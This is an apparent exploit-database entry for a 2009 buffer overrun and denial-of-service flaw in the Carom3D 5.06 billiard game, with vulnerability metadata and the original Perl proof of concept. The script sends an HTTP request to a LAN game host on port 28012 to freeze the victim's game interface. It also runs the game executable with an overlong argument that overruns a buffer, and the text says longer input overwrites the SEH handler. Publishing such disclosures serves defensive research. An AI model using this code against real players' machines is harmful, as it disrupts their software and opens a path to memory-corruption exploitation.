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vendor:
Carom3D
by:
Gjoko 'LiquidWorm' Krstic
7,5
CVSS
HIGH
Buffer Overrun/Denial Of Service
120 (Buffer Copy without Checking Size of Input)
CWE
Product Name: Carom3D
Affected Version From: Carom3D 5.06
Affected Version To: Carom3D 5.06
Patch Exists: NO
Related CWE: N/A
CPE: a:neoact:carom3d:5.06
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Microsoft Windows XP Professional SP3 (English)
2009

Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability

Carom 3D is an online multi-user billiard game created with special 3D graphic effects. The world famous korean game Carom3D suffers from a buffer overflow and a denial of service vulnerability. The BoF is triggered at runtime when we append 218 > bytes as an argument. ~1000 bytes overwrites SEH. The denial of service is triggered when a user creates a LAN Game (cred. needed), creates a room and awaits other players to join the game. While awaiting (listening on port 28012), with a simple HTTP GET/POST, an attacker can lockdown the GUI of the user created the room, not alowing to start or even exit the game's GUI, unless forced quit (X).

Mitigation:

Ensure that the application is not vulnerable to buffer overflow attacks by validating user input and using secure coding practices.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Title: Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability
#
#
# Summary: Carom 3D is an online multi-user billiard game created with special
#	   3D graphic effects bringing every aspect such as 6 ball, 9 ball, 8
#	   ball and other Billiard games to life.
#
# Product Web Page: http://www.carom3d.com/
#
# Description: The world famous korean game Carom3D suffers from a buffer overflow
#	       and a denial of service vulnerability. The BoF is triggered at
#	       runtime when we append 218 > bytes as an argument. ~1000 bytes
#	       overwrites SEH. The denial of service is triggered when a user
#	       creates a LAN Game (cred. needed), creates a room and awaits
#	       other players to join the game. While awaiting (listening on port
#	       28012), with a simple HTTP GET/POST, an attacker can lockdown
#	       the GUI of the user created the room, not alowing to start or
#	       even exit the game's GUI, unless forced quit (X).
#
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 15.06.2009
#

# ----------------------------------DoS---------------------------------- #

use LWP::Simple;

my $url = 'http://192.168.1.3:28012';
my $lockdown = get $url;
die "Couldn't get $url" unless defined $lockdown;

# You can Ctrl+C, the lockdown is ON.

# ---------------------------------/DoS---------------------------------- #





###########################################################################





# ----------------------------------BoF---------------------------------- #

# Added 217 bytes as argument = runs normally.
# Added 218 bytes as argument triggers the MS VC++ Runtime Library
# 'Buffer Overrun' error msg box informing us that the program's
# internal state is corrupted.

system('C:\\Progra~1\\Neoact\\Carom3D\\carom.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

# ---------------------------------/BoF---------------------------------- #

# milw0rm.com [2009-06-16]